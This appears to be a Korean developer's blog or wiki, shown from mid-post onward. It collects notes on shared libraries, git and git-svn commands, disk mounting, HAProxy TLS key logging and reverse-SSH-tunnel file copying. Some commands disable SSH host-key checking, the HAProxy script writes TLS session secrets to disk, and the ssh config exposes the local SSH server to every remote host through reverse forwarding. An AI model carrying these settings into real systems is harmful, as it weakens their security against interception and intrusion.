2. 동적 라이브러리 (.so) 로 임포트

명령어가 조금 다르다.

# cd cpp LIBRARY_NAME="testfunc" g++ -fPIC -c testfunc.cpp -o testfunc.o g++ -shared -o "lib${LIBRARY_NAME}.so" testfunc.o # 별다른 문제가 없다면 libtestfunc.so 파일이 생성된다. 

main.c 파일을 빌드하는 과정은 똑같다.

# -I : include 헤더를 참조할 디렉토리 경로 (testfunc.h를 cpp 디렉토리에 넣었으므로 추가.) # -L : 라이브러리를 참조할 디렉토리 경로 # -l : 라이브러리 이름 (libtestfunc.a 파일을 참조한다.) # libtestfunc.a 파일을 참조하고 싶다면, lib를 뺀 이름을 넣어야 한다. # -lstdc++ : C++ 표준 라이브러리 링크 gcc main.c -I./cpp -L./cpp -ltestfunc -lstdc++ -o main # 별다른 문제가 없다면 main 바이너리 파일이 생성된다. 

동적 라이브러리이기 때문에 동적 라이브러리 실행에 대한 환경변수를 설정해 줘야 한다.

다음과 같이 실행한다.

# LD_LIBRARY_PATH : 동적 라이브러리를 참조할 디렉토리 경로 LD_LIBRARY_PATH=./cpp ./main 

참고

정적 라이브러리와 동적 라이브러리의 차이

정적 라이브러리는 컴파일 시점에 라이브러리를 링크한다. 실행 파일에 내용이 모두 들어가기 때문에 실행 파일이 커진다.
- 대신 프로그램 안에 모든 내용이 들어가기 때문에 실행 파일만 있으면 실행이 가능하다.
- 프로그램이 로드되는 시점에는 정적 라이브러리의 내용을 메모리에 로드해야 하기에 시간이 느리지만, 수행 시간은 동적 라이브러리에 비해 빠르다.
동적 라이브러리는 실행 시점에 라이브러리를 링크한다. 실행 파일이 작아진다.
- 런타임 시점에서 라이브러리를 로드하기 때문에 실행 파일만 있으면 실행이 불가능하다.
- 동적 라이브러리에 대한 의존성이 있고, 어떤 동적 라이브러리 모듈을 참조할지 알아야 하기에 추가적인 환경변수 지정 등이 필요하다.
  - ex ) /etc/ld.so.conf.d 수정 이후 ldconfig 적용 또는 LD_LIBRARY_PATH 환경변수 설정 등..
- 프로그램이 로드되는 시점에는 동적 라이브러리의 내용을 메모리에 로드해야 하기에 시간이 빠르지만, 함수 호출 마다 라이브러리의 주소에 접근해야 하기에 수행 시간이 느리다.

라이브러리마다 각각의 장단점이 있으므로 상황에 맞게 사용하면 된다.

git manual

Wed, 30 Oct 2024 00:00:00 +0900

Git

커밋 메시지 컨벤션

feat : 새로운 기능 추가/개선
fix : 버그 수정
design : css 등 사용자 UI 디자인 변경
comment : 필요한 주석 추가 및 변경
docs : 문서 수정
style : 코드 포맷팅, 세미콜론 누락, 코드 변경이 없는 경우
refactor : 코드 리팩토링
test : 테스트 코드, 리펙토링 테스트 코드 추가
chore : 빌드 업무 수정, 패키지 매니저 수정
rename : 파일 혹은 폴더명을 수정하거나 옮김
del : 파일 혹은 폴더를 삭제
revert : 이전 커밋을 되돌림

git config

Option

--global : 전역 설정 ~/.gitconfig에 저장
--local : 로컬 설정 .git/config에 저장
--list : 설정 확인

git username 설정

1 git config --global user.name "username"

git email 설정

1 git config --global user.email "email"

git editor 설정 (기본에디터는 nano)

1 git config --global core.editor "vim"

git alias

1 git config --global alias.co "checkout"

위와 같이 설정할 시 git co 명령어로 git checkout 명령어를 사용할 수 있다.

Git 원격 저장소에서 삭제된 branch를 로컬 저장소에서 자동으로 지우기

1 git config --global fetch.prune true

git diff tool 변경

git config --global diff.tool bcompare git config --global merge.tool bcompare git config --global difftool.bcompare.cmd "$HOME"/'.bcomp.sh "$LOCAL" "$REMOTE"' git config --global difftool.bcompare.trustExitCode true git config --global mergetool.bcompare.cmd "$HOME"/'.bcomp.sh "$LOCAL" "$REMOTE" "$BASE" "$MERGED"' git config --global mergetool.bcompare.trustExitCode true git config --global mergetool.bcompare.keepBackup false 

git ssh 명령어 설정

git config --global core.sshCommand "ssh -F $HOME/.ssh/config -i $HOME/.ssh/id_rsa -o UserKnownHostsFile=$HOME/.ssh/known_hosts -o StrictHostKeyChecking=no" 

항상 현재 브랜치로 푸시시키기

1 git config --global push.default current

git add

변경내용 스테이징

1 git add <file/path>

git mv

파일을 이동시킬때 또는 이름을 변경할 때 사용

1 git mv <src file/path> <dst file/path>

git rm

git에서 파일을 삭제할 때 사용

1 git rm <file/path>

Option

--cached : 인덱스에서만 삭제

git commit

커밋

Option

-m : 커밋 메세지 설정

git push

서버로 커밋, 태그 (변경사항)을 푸시

1 git push <option>

Option

-u (--set-upstream) : 푸시할 remote 지정 (git push -u origin feature/mysql_dbset)
-u 옵션은 최초 한번 설정한 후 생략하여도 푸시가 가능하다. git push origin feature/mysql_dbset
-f : 강제 푸시 (서버의 변경사항을 덮어씀, 실무에서 사용하지 않도록 함)
-d : 원격 저장소의 브랜치 삭제 (git push origin -d feature/mysql_dbset)

etc

푸시를 편하게 진행하는 방법 : https://www.daleseo.com/git-push/ \

항상 현재 브랜치로 푸시시키기 를 참조.
해당 설정을 진행하면 git push 시 현재 브랜치로 자동 푸시된다.

git fetch

서버의 변경 내용을 확인함

git pull

서버의 변경 내용을 확인하고 적용함

모든 브랜치의 내용을 가저욤

git branch -r | grep -v "\->" | while read remote; do git branch --track "${remote#origin/}" "$remote"; done git branch -r | grep -v "\->" | while read remote; do git branch --set-upstream-to="$remote" "${remote#origin/}"; done git fetch --all git pull --all 

다른 브랜치에서 특정 브랜치의 내용을 가져올 때

git pull origin <branch name>

예시 ) develop 브랜치에서 master 변경내용을 가져오고 싶을 때
현재 develop 브랜치에 있다고 가정

1 git pull origin master

다른 브랜치에서 또다른 브랜치의 내용을 가져올 때

git pull origin <another branch>:<other branch>

예시 ) debug 브랜치에서 master 변경 내용을 가져오고(pull) 싶으나
현재 develop 브랜치에 있다고 가정

1 git pull origin master:debug

git clone

원격 저장소를 다운로드 함

특정 경로만 clone 하기

Option

--config : 복제할 때 설정을 변경할 수 있음

아래와 같은 옵션을 통해 clone 시 특정 ssh key, 유저명 지정 가능

git clone $1 --config user.name="$gituser" --config core.sshCommand="ssh -i $curpath/clone_id_rsa -o StrictHostKeyChecking=no" 

git init

.git 디렉토리를 생성하고 깃 프로젝트를 생성/초기화함

git merge

브랜치간 내용을 머지

Option

--squash : 커밋을 하나로 합침

git rebase

git checkout

브랜치간 이동, conflict 해결, 파일 복원 등 다양한 용도로 사용됨

git checkout <branch name> : 브랜치간 이동 git checkout <filename> : 파일 복원 or conflict 해결 git checkout <commit hash> : 특정 커밋의 변경사항을 적용 

--theirs : 서버의 변경사항을 적용
--ours : 로컬의 변경사항을 적용

git reset

해당 커밋 해쉬로 되돌린다.
이외에도 커밋 또는 스테이징을 취소 (git add 취소) 하는 역할을 진행한다.

COMMAND

git reset HEAD <filename> : 스테이징 취소 (git add 취소)
git reset HEAD^ : 마지막 커밋 취소
git reset HEAD~2 : 최신 2개의 커밋 취소
git reset <commit> : 해당 커밋으로 히스토리 되돌림

Option

--mixed : commit 취소 및 변경된 파일들은 unstaged 상태로 워킹 디렉터리에 보존
--soft : commit 취소 및 변경된 파일들은 staged 상태로 워킹 디렉터리에 보존
--hard : commit 취소 및 변경된 파일들은 모두 삭제됨

git revert

git branch

git branch <branch name> : 브랜치 생성 git branch <branch name> <commit hash> : 해당 커밋 해시를 가지는 브랜치 생성 

--orphan : 빈(고아) 브랜치 생성
-d --delete : 브랜치 삭제
-D : 브랜치 강제 삭제 (--delete --force)

git cherry-pick

특정 커밋의 변경사항을 현재 브랜치에 적용한다.

1 git cherry-pick <commit hash>

Option

-n : 커밋은 생성하지 않고 변경사항만 스테이징

git remote

Option

-v : 원격 저장소 목록 확인

Command

rm : 원격저장소 삭제
add : 원격저장소 추가

nginx의 특정 브랜치를 나의 리포지토리로 복사하였 을 때 remote를 사용한 내용

# git remote -v origin https://github.com/nginx/nginx.git (fetch) origin https://github.com/nginx/nginx.git (push) # git remote rm origin # git remote -v # git remote add origin git@github.com:iblea/nginx-1.18.git # # git remote -v origin git@github.com:iblea/nginx-1.18.git (fetch) origin git@github.com:iblea/nginx-1.18.git (push) # git remote add nginx https://github.com/nginx/nginx.git # git remote -v nginx https://github.com/nginx/nginx.git (fetch) nginx https://github.com/nginx/nginx.git (push) origin git@github.com:iblea/nginx-1.18.git (fetch) origin git@github.com:iblea/nginx-1.18.git (push) 

git stash

변경 사항을 임시 저장함.
주의 :Untracked 파일은 저장되지 않음

1 2 3 git stash git stash <command>

Command

clear : 모든 stash 삭제
apply stash@<stash number> : stash 적용 (git stash apply stash@{stash_number})
drop stash@<stash number> : stash 삭제
list : stash 목록
pop : stash 적용 후 삭제 (apply + drop)
push : stash 생성/저장
show : stash 내용 확인 (스태시된 파일들의 변경사항 등 세부 정보 확인)

Opotion

--keep-index (-k) : 일반적으로 stash 진행 시 staged 된 파일도 모두 스태쉬 진행하지만
git add (staged)된 내용을 제외한 나머지를 stash에 저장한다.
- 단 Untracked 파일은 stash되지 않는다.
--include-untracked (-u) : Untracked 파일도 stash에 포함한다.

스테쉬 옵션 상세 설명

아래와 같이 4개의 파일이 있다고 가정하자.

스테이징된 파일 : a.c
변경된 파일 (스테이징되지 않은 파일) : b.c, c.c
새로 생성된(git project에 존재하지 않는) 파일 : d.c \

# git status Changes to be committed: (use "git reset HEAD <file>..." to unstage) modified: a.c Changes not staged for commit: (use "git add <file>..." to update what will be committed) (use "git checkout -- <file>..." to discard changes in working directory) modified: b.c modified: c.c Untracked files: (use "git add <file>..." to include in what will be committed) d.c 

이 때 git stash -k (--keep-index)를 실행하면, staged된 파일인 a.c파일과 Untracked 파일인 d.c 파일은 제외한 나머지 파일들이 스테쉬에 저장된다.

Changes to be committed: (use "git reset HEAD <file>..." to unstage) modified: a.c Untracked files: (use "git add <file>..." to include in what will be committed) d.c 

만약 git stash -k -u (--keep-index --include-untracked)를 실행하면, staged된 파일인 a.c을 제외한 나머지 파일들이 스테쉬에 저장된다.

Changes to be committed: (use "git reset HEAD <file>..." to unstage) modified: a.c 

git tag

깃의 특정 커밋 해쉬를 태그로 지정할 수 있다.

1 git tag <tag name> <commit hash>

태그 정보 보기

1 git tag

Option

-d <tag name> : 태그 삭제

git diff

변경 사항을 비교한다.

git diff <commit hash> - 특정 커밋의 변경내역부터 작업 디렉토리의 변경내역까지 비교한다. (특정 커밋의 변경내역을 비교하는 것이 아니다.)

git diff <commit hash1>..<commit hash2> - 커밋1과 커밋2 사이의 변경내역을 비교한다.

git diff 된 내용을 파일로 저장할 수 있다. git diff > difflog.diff
이 diff로그를 가지고 git apply 또는 git patch로 변경사항을 적용할 수 있다.

Option

--name-only : 변경된 파일명만 출력

git apply

git diff 등으로 생성된 difflog 파일을 가지고 변경사항을 적용한다. 단 이때 difflog 파일과 변경된 라인이 일치해야 diff가 진행된다.
git diff 후 변경 로그가 추가로 존재하여 파일의 라인이 달라졌을 경우 패치되지 않는다.

git apply <difflog file> - difflog 파일을 가지고 변경사항을 적용한다.

diff 및 apply 예제 (diff 파일을 통해 적용하는 방법)

git diff <commit1>..<commit2> > ~/difflog.diff # git show <commit1> > ~/difflog.diff 해도 무방함. (단 show 명령어를 사용했을 경우 커밋 정보텍스트 제거 필요) # 다른 repository로 이동 후 git apply --reject ~/difflog.diff find . -name "*.rej" -type f 

Option

--reject : 적용할 파일에 충돌이 발생한 경우 충돌 내용을 파일로 생성하고, 충돌이 발생하지 않은 파일의 경우에는 적용한다. 충돌 내용은 *.rej 확장자로 생성된다.

git show

특정 커밋의 변경사항을 확인한다.

git show <commit hash> - 특정 커밋의 변경내역을 확인한다.
git show된 내용을 파일로 저장한 뒤 아래와 같은 show 로그만 제거하면 diff처럼 사용할 수 있고, difflog 파일을 가지고 git apply 또는 git patch로 변경사항을 적용할 수 있다.

commit aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab0f Author: test@test Date: .........   commit content   ................... description ................ 

Option

--name-only : 변경된 파일명만 출력

git submodule

깃 서브모듈은 다른 깃 저장소를 현재 깃 저장소의 하위 디렉토리로 가져오는 기능이다.
설정된 서브모듈은 .gitmodules 파일에서 확인할 수 있다.

Command

git submodule add <git repository url> : 서브모듈 추가
- git submodule add -b <branch> <git repository url> : 서브모듈 추가 (지정한 브랜치로 체크아웃)
git submodule update : 서브모듈 업데이트
- --init : 서브모듈 초기화 옵션, 일반적으로 git submodule update --init 를 통해 서브모듈을 초기화 및 업데이트 한다.
- --recursive : 서브모듈 내 서브모듈 업데이트
- --remote : 서브모듈을 원격 저장소에 적용한다. --remote 옵션 뒤에 브랜치 이름을 인자로 주어 특정 브랜치만 적용시킬 수 있다.
- --merge : 서브모듈의 변경사항을 머지시킨다. 일반적으로 git submodule update --remote --merge 옵션을 사용하여 원격 저장소에 반영한다.
git submodule status : 서브모듈 상태 확인
git submodule init : 서브모듈 초기화
git submodule deinit <submodule path> : 서브모듈 제거
- -f : 강제 옵션

git bisect

깃 bisect로 문제가 발생한 커밋을 빠르게 찾는다.

git bisect start 를 통해 검색 시작,
git bisect good, git bisect bad 를 통해 문제가 발생한 커밋인지 아닌지를 구분
git bisect reset : git bisect start한 커밋으로 돌려놓는다.
git bisect log : git bisect 과정 확인

git bisect replay

git bisect log > gitbisect.log git bisect replay gitbisect.log # 로 재시작 

git bisect skip - 해당 커밋을 건너뜀

출처 : https://blog.gangnamunni.com/post/understanding_git_bisect/

git-svn

svn 저장소와 git을 연동하여 사용하는 명령어이다.
깃에 내장된 명령어가 아니며 별도의 설치가 필요하다.

자세한 사용법은 아래 링크를 참조하는것이 좋다.

git-svn init

아래와 같이 사용할 수 있다.

git svn init svn://<SVN IP>/<SVN PATH> --prefix=origin/ --id=svn --username=<svn 계정명> --svn-remote='<원하는이름>' 

-> git svn remote 디렉토리가 origin/svn 이 된다. -> git svn fetch “" 입력 시 git svn 연동이 된다.

git-svn fetch

git svn fetch <svn nicknamek> 을 통해 svn 저장소의 최신 변경사항을 가져온다.

svn 별명을 입력하지 않으면 git svn fetch svn 명령어를 실행한 것과 동일하다.

1 git svn fetch

만약 git svn fetch 만 진행하였으나 변경사항이 존재하거나 untracked 파일이 존재할 경우, 아래의 명령어를 실행해본다.

1 git update-index --assume-unchanged <file>

git-svn dcommit

git svn dcommit을 통해 git의 커밋(변경) 내용을 svn으로 동기화할 수 있다.

1 git svn dcommit --username <svn username>

SVN 의 내용을 깃으로 연동하는 방법

Wed, 30 Oct 2024 00:00:00 +0900

방법

깃과 svn을 연동하는 명령어 설치

1 apt-get install git-svn

깃저장소 클론

1 git clone git@gitlab.iasdf.com:proj/projtest.git

깃 svn init

# git svn init [[SVN_URL]] -T Trunk -b Branches -t Tags --prefix=origin/ git svn init svn://10.1.1.10/path/to/branch --prefix=origin/ --id=svn --svn-remote=svn --username=root 

깃 fetch로 변경내용 불러오기

1 git svn fetch

이후 푸시

# 필자는 git-svn 브랜치로 하나 따서 진행함. git checkout -b git-svn remotes/svn/git-svn git push origin git-svn 

main에 git-svn 내용을 머지

git checkout main git pull origin git-svn --allow-unrelated-histories git push origin main 

svn 내용 추가로 가져오기

git checkout git-svn git svn rebase git push orign git-svn # main 병합 git checkout main git pull origin git-svn --allow-unrelated-histories git push origin main 

svn dcommit

git svn fetch git rebase remotes/svn/git-svn git svn dcommit --username <svn username> 

git config 적용

해당 git config 적용 시 git svn init 명령어 사용하지 않아도 됨.

git config --local include.path ../.gitconfig 이후 .gitconfig 파일을 생성하여 적용 [svn-remote "repo1"] url = svn://ip/repo/1/ fetch = :refs/remotes/origin/repo1 [svn-remote "repo2"] url = svn://ip/repo/2 fetch = :refs/remotes/origin/repo2 

svn을 사용하는 곳에서 git으로 버전 관리하기

Wed, 30 Oct 2024 00:00:00 +0900

개요

Git은 현재 svn보다 더 많은 기능과 플러그인을 지원하기 때문에 svn에 비해 히스토리 관리도 쉽고 병합, 분기도 더 쉽게 할 수 있다.

그러나 레거시 프로젝트에서는 svn을 주로 사용하고, svn 시스템과 연동하여 사용하고 있는 것 (이슈 트래커 등)들이 많을수록 깃으로 전환하기가 어려울 것이다.

이 때 git-svn을 통해 svn의 히스토리를 git으로 손실 없이 가져와 svn 형상관리를 유지하면서도 git을 통해 히스토리를 살펴보는 등의 기능을 사용할 수 있는 방법을 기술한다.

svn의 모든 기능을 완벽하게 지원하는 것이 아니며 svn의 branch 등의 기능은 git-svn에서 지원하지 않는 것으로 확인되었다.

필요 라이브러리

1 apt-get install git-svn

SVN -> Git

디렉토리 생성

1 2 mkdir test cd test

Git Init

1 git init

git svn setting

git svn init 진행

git svn init svn://<SVN IP>/<SVN PATH> --prefix=origin/ --id=svn --svn-remote="<원하는 이름>" --username=<svn 계정명> # example ) git svn init svn://svn.iasdf.com/testjenkins --prefix=origin/ --svn-remote jenkins 

.git/config 열어 파일 수정

<remote branch name> 에 자신의 로컬 브랜치 이름 또는 원하는 브랜치 이름을 넣어준다.

[svn-remote "<원하는 이름>"] url = svn://<SVN IP>/<SVN PATH> - fetch = :refs/remotes/origin/git-svn + fetch = :refs/remotes/origin/<remote branch name>  # example ) fetch = :refs/remotes/origin/master 

git svn fetch 이 때 --svn-remote 옵션을 준 사람은 해당 옵션값으로 fetch 진행한다.

1 2 3 git svn fetch git svn fetch <svn remote name>

rebase 하여 svn에서 가져온 정보를 업데이트한다.

rebase하는 브랜치 명은 .git/config 파일에 넣었던 <remote branch name> 이다.

git rebase remotes/origin/<remote branch name> # 예시 ) git rebase remotes/origin/master 

이후 svn의 정보를 가져올 때에는 fetch와 rebase만 진행하면 된다.

Git의 변경사항을 SVN에 반영

README.md를 수정하였음.

1 git add README.md

변경내용 커밋

1 git commit -m "README.md 수정"

git svn dcommit 사용

1 git svn dcommit

dcommit 시 변경내용이 반영된다.

만약 git svn fetch를 실행하고 변경 파일 또는 untracked 존재하는 경우 다음과 같은 방법을 사용해본다.

1 git update-index --assume-unchanged <file>

Linux 디스크 마운트

Thu, 05 Sep 2024 00:00:00 +0900

방법

디스크를 꽂고 아래 명령어 리스트로 마운트된 디스크를 확인한다.

아래 명령어들을 사용하면 디스크 정보를 확인할 수 있다.

# fdisk 명령어로 확인하기 fdisk -l # lsblk 명령어로 확인하기 lsblk lsblk -lp 

/dev/sdd1 를 마운트시킨다고 해보자.

아래 명령어로 마운트될 디렉토리를 생성한다.

1 mkdir -p /media/usb

마운트할 디스크 타입을 확인한다.

# 1. blkid 명령어로 확인 blkid # 2. fdisk -l 명령어로 확인 fdisk -l # 3. /etc/fstab 내용으로 확인 cat /etc/fstab 

mount 명령어로 마운트한다.

mount /dev/sdd1 /media/usb # ntfs type mount -t ntfs /dev/sdd1 /media/usb # fat32 (vfat) type mount -t vfat /dev/sdd1 /media/usb # exfat type mount -t exfat /dev/sdd1 /media/usb 

exfat이 없다면?

ErrorMsg: mount: unknown filesystem type 'exfat' 메세지가 나올 경우 아래 명령어로 설치한다.

apt-get install exfat-fuse # apt-get install exfat-fuse 가 되지 않을 경우 아래 명령어로 exfat-fuse ppa를 추가한다. apt-add-repository ppa:relan/exfat 

이후 다시 마운트 진행.

HAproxy ssl key log

Fri, 30 Aug 2024 00:00:00 +0900

개요

HAProxy에서 sslkeylog를 설정하지 않으니 암호화된 TLS 패킷이 제대로 흐르는지 분석이 어려웠다. 이를 위해 HAProxy에서 SSL Key Log를 설정하는 방법을 알아보자.

방법

HAProxy 스펙 확인

HAProxy에서 LUA를 지원해야 한다.
아래 명령어로 LUA 스크립트를 지원하는지 확인할 수 있다.

1 haproxy -vv

출력 결과에 +LUA가 포함되어 있으면 OK.

/usr/sbin/haproxy -vv | grep "LUA" 

Feature list : +EPOLL -KQUEUE +NETFILTER +PCRE +PCRE_JIT -PCRE2 -PCRE2_JIT +POLL -PRIVATE_CACHE +THREAD -PTHREAD_PSHARED +BACKTRACE -STATIC_PCRE -STATIC_PCRE2 +TPROXY +LINUX_TPROXY +LINUX_SPLICE +LIBCRYPT +CRYPT_H +GETADDRINFO +OPENSSL +LUA +FUTEX +ACCEPT4 -CLOSEFROM +ZLIB -SLZ +CPU_AFFINITY +TFO +NS +DL +RT -DEVICEATLAS -51DEGREES -WURFL +SYSTEMD -OBSOLETE_LINKER +PRCTL +THREAD_DUMP -EVPORTS 

LUA가 포함되어 있으면 본 방법을 적용할 수 있다.
그렇지 않을 경우 LUA 옵션을 포함시켜 재컴파일을 진행해야 한다.

sslkeylog 루아 스크립트 다운로드

소스 내용

소스 내용은 다음과 같다.

--[[ This script can be used to decipher SSL traffic coming through haproxy. It must first be loaded in the global section of haproxy configuration with TLS keys logging activated : tune.ssl.keylog on lua-load sslkeylogger.lua Then a http-request rule can be inserted for the desired frontend : http-request lua.sslkeylog <path_to_keylog_file> The generated keylog file can then be injected into wireshark to decipher a network capture. ]] local function sslkeylog(txn, filename) local fields = { CLIENT_EARLY_TRAFFIC_SECRET = function() return txn.f:ssl_fc_client_early_traffic_secret() end, CLIENT_HANDSHAKE_TRAFFIC_SECRET = function() return txn.f:ssl_fc_client_handshake_traffic_secret() end, SERVER_HANDSHAKE_TRAFFIC_SECRET = function() return txn.f:ssl_fc_server_handshake_traffic_secret() end, CLIENT_TRAFFIC_SECRET_0 = function() return txn.f:ssl_fc_client_traffic_secret_0() end, SERVER_TRAFFIC_SECRET_0 = function() return txn.f:ssl_fc_server_traffic_secret_0() end, EXPORTER_SECRET = function() return txn.f:ssl_fc_exporter_secret() end, EARLY_EXPORTER_SECRET = function() return txn.f:ssl_fc_early_exporter_secret() end } local client_random = txn.c:hex(txn.f:ssl_fc_client_random()) -- ensure that a key is written only once by using a session variable if not txn:get_var('sess.sslkeylogdone') then local file, err = io.open(filename, 'a') if file then for fieldname, fetch in pairs(fields) do if fetch() then file:write(string.format('%s %s %s\n', fieldname, client_random, fetch())) end end file:close() else core.Warning("Cannot open SSL log file: " .. err .. ".") end txn:set_var('sess.sslkeylogdone', true) end end core.register_action('sslkeylog', { 'http-req' }, sslkeylog, 1) 

본 소스를 다운받아 /etc/haproxy/sslkeylogger.lua 경로에 위치시킨다.

그리고 /etc/haproxy에 sslkeylog.log 빈 파일을 생성한다.

HAProxy 설정 및 스크립트 적용

1 touch /etc/haproxy/sslkeylog.log

HAProxy 설정 파일의 global 섹션에 다음 내용을 추가한다.

global # ... 내용 생략 ... tune.ssl.keylog on lua-load /etc/haproxy/sslkeylogger.lua # ... 내용 생략 ... 

이후 HAProxy 설정 파일의 frontend 섹션에 다음 내용을 추가한다.

frontend test # ... 내용 생략 ... http-request use-service lua.sslkeylog /etc/haproxy/sslkeylog.log # ... 내용 생략 ... 

config 파일이 맞는지 확인한다.

1 /usr/sbin/haproxy -f /etc/haproxy/haproxy.cfg -c

이후 HAProxy를 재시작한다.

/etc/haproxy/sslkeylog.log 파일에 SSL Key Log가 기록된다.

이후 해당 파일을 이용해 Wireshark에서 SSL Key Log를 적용하면 암호화된 패킷을 해독할 수 있다.

SSH Reverse Tunnel을 통해 명령어 하나로 파일 전송하기

Thu, 29 Aug 2024 00:00:00 +0900

개요

간단한 파일 전송에는 주로 사용하는 도구가 있다. zmodem 이라는 것으로, lrzsz 를 설치하여 이용할 수 있다.
sz를 통해 원격지 파일을 로컬로 복사하거나, rz를 통해 로컬 파일을 원격지로 가져올 수 있다.

macos에서 lrzsz 설치하기 의 포스트를 보듯, sz, rz 명령어는 SSH 접속 이후 기타 서드파티 도구의 도움 없이 (SFTP 등) 터미널 내부에서 sz, rz 명령어를 사용하는 것만으로도 간단하게 파일 전송이 가능하다.

그러나, 이 방법은 매우 치명적인 단점이 있었는데, 터미널이 zmodem 기능을 지원해야만 적용할 수 있다는 것이다. 구현이 어려운 것인지, zmodem을 잘 지원하는 터미널이 많지 않다. iTerm 또한 Trigger 기능으로 확장을 통해 지원하는 형식으로, 정식 지원이 아니다.

단순히 파일 몇 개의 전송을 위해 터미널 창을 벗어나 SFTP 서드파티 도구를 이용하거나, 새로운 터미널을 여는 것은 상당히 번거로운 작업이다. 따라서 서드파티 도구 없이, SSH로 연결된 터미널에서 명령어 하나로, 원격지의 파일을 로컬로 빠르게 복사하는 방법이 있는지 계속 찾아보다가 결국…
SSH Reverse Tunnel을 이용하면 역방향 SSH 연결이 가능하다는 점을 이용해 어느정도 sz와 rz 명령어와 유사한 사용자 경험을 할 수 있는 명령어를 만들 수 있을 것 같다는 생각이 들었다.

최종적으로는

jcp <file1> <file2> <fil3> 또는 jcp <file1> <file2> <fil3> -- <local path> 

입력 시 원격지의 파일을 로컬로 복사하는 스크립트를 만들게 되었다.

방법

본 포스트는 MacOS를 기준으로 작성되었으며, Windows 및 Linux에서도 몇 가지의 방법만 다를 뿐(ssh 서버 설정 등), 대부분의 내용은 동일하게 적용될 수 있다.

SSH Server 설치 및 설정

역방향 SSH 터널을 만들기 위해서는 로컬에 SSH 서버가 실행 중이어야 한다.

MacOS의 경우 설정을 수정하여 SSH 서버를 실행시킬 수 있다.
Windows의 경우 Windows용 OpenSSH 서버를 설치하거나, WSL을 이용해 SSH 서버를 실행시킬 수 있다.

서버 실행에 있어 sshd_config 파일을 수정하였다.
외부 접근을 막기 위해, AllowUsers 옵션으로 로컬 호스트 로 접속하는 testuser 만 접속을 허용하도록 설정하였다.

/etc/ssh/sshd_config

AllowUsers testuser@localhost testuser@::1 testuser@127.0.0.1 

.ssh/config 설정 및 역방향 SSH 터널 설정

이후 ~/.ssh/config 옵션을 수정한다.

Host * 을 대상으로 RemoteForward 옵션을 추가하였다.
여기에서는 포트를 5555 로 설정하였으나, 이는 사용자가 마음대로 변경할 수 있다.
localhost:22 부분은 로컬에서 서비스 중인 SSH 서버의 포트를 적어야 한다.

마지막으로 Host rloc 설정을 추가한다. 이는 원격지에서 접속할 역방향 SSH 정보를 입력한 것이다.
따라서 rloc 설정은 원격지의 .ssh/config 파일을 수정하여 추가해야 한다.

이해를 돕기 위해, 전체 설정인 * 설정, 원격지 서버 별칭인 vm_server 설정과 역방향 SSH 설정인 rloc 설정을 추가하였다.

Host * AddKeysToAgent yes RemoteForward 5555 localhost:22 Host vm_server HostName 10.0.0.68 User testuser Port 22 IdentityFile ~/.ssh/test_server_private_key Host rloc HostName 127.0.0.1 User testuser Port 5555 IdentityFile ~/.ssh/ssh_private_key 

ssh config 없이 ssh 명령어로 접속 시 역방향 SSH 터널을 추가하고 싶다면 -R 옵션을 사용하면 된다.

1 ssh -R 5555:localhost:22 testuser@test.com

역방향 연결 테스트

# 원격지 서버에 접속 (.ssh/config의 server 별칭) $ ssh vm_server # 원격지 서버에서 역방향 SSH 연결 테스트 $ ssh rloc -> 접속 성공 

스크린샷

빨간 사각형에서 보이는 것처럼 최초 MacOS 에서 리눅스 서버로 접속 시도
파란 사각형에서 보이는 것처럼 서버에서 설정했던 rloc 설정을 통해 다시 MacOS로 역방향 SSH 연결 성공

파일 전송 스크립트 작성

역방향 SSH 연결에 성공한 것을 확인하였다면, 이제 파일 전송 스크립트를 작성할 차례다.

필자에게 가장 필요한 것은 remote 에서 local로 파일을 복사하는 것이었다.
(원격지 장비에서 tcpdump 등으로 캡쳐한 패킷 파일을 로컬로 가져와야 하는 경우 등)

따라서 현재는 remote -> local 스크립트만 작성한 상태이다.

https://github.com/iblea/.dotfiles/blob/main/.bin/jcp

위 링크의 내용을 복사하거나, 다운로드하여 (파일 이름 : jcp)
export $PATH 환경변수가 설정되어 있는 경로 중 아무곳이나 넣고, 실행 권한을 부여한다.
(또는 해당 파일이 있는 경로를 $PATH에 추가하면 된다.)

설정에 따라 R_MACRO, R_CONFIG, R_DEFAULT_DOWNLOAD_PATH 변수 값을 수정한다.

특히 리눅스 유저나 윈도우즈 유저의 경우 R_DEFAULT_DOWNLOAD_PATH 값을 수정해야 한다.

# .ssh/config의 remote -> local 설정한 별칭 # (위 블로그에 설정한 대로 .ssh/config의 별칭을 rloc으로 설정했다면 변경 불필요 ) R_MACRO="rloc" # rloc 별칭이 설정된 .ssh/config 파일 경로 R_CONFIG="$HOME/.ssh/config" # 다운로드될 로컬의 기본 경로를 입력하지 않을 경우 본 설정값의 경로에 저장됨 # <username> 설정 시 config 파일의 rloc username으로 바뀜 # MacOS의 경우 본 설정 그대로 적용 시, 경로를 따로 입력하지 않을 경우 다운로드 디렉토리에 저장됨. # Windows, Linux의 경우 본 설정값을 수정하여 사용하여야 함. R_DEFAULT_DOWNLOAD_PATH="/Users/<username>/Downloads" 

이제부터, jcp 명령어를 “딸깍” 하는 것으로 파일을 복사할 수 있다.
남들이 sftp, MobaXTerm으로 파일을 복사할 때, 나는 jcp 명령어로 손쉽게 복사할 수 있는 것이다!

jcp 명령은 아래와 같이 사용할 수 있다.

# 원격지의 파일 1개를 로컬의 $R_DEFAULT_DOWNLOAD_PATH 경로에 저장 jcp <file> # 원격지의 파일 3개를 로컬의 $R_DEFAULT_DOWNLOAD_PATH 경로에 저장 jcp <file1> <file2> <file3> # 원격지의 파일 2개를 로컬의 /var/log에 저장 jcp <file1> <file2> -- /var/log 

아래 스크린샷은 jcp 명령어를 통해 원격지의 파일을 로컬로 복사한 것이다.

tcpdump로 원격지에서 캡쳐한 패킷 파일을 로컬로 복사하는 과정이다.
jcp server_packet.pcap 명령어를 통해 원격지의 server_packet.pcap 파일을 로컬로 복사하였다.

HTTP 완벽 가이드

Mon, 10 Jun 2024 00:00:00 +0900

HTTP 완벽 가이드 책 리뷰

telnet으로 HTTP 통신하기

telnet 프로토콜 및 여러가지 CLI 툴로 HTTP Raw Request 하는 방법 정리
https://dev.iasdf.com/wiki/linux/http_cli

TCP 커넥션으로 인한 지연

나는 HTTP의 연결을 끊지 않고 유지하는 이유가
연결을 끊었다 다시 요청할 경우, 3-way/4-way handshake 인해 주로 발생하는 것이라고 생각했다.

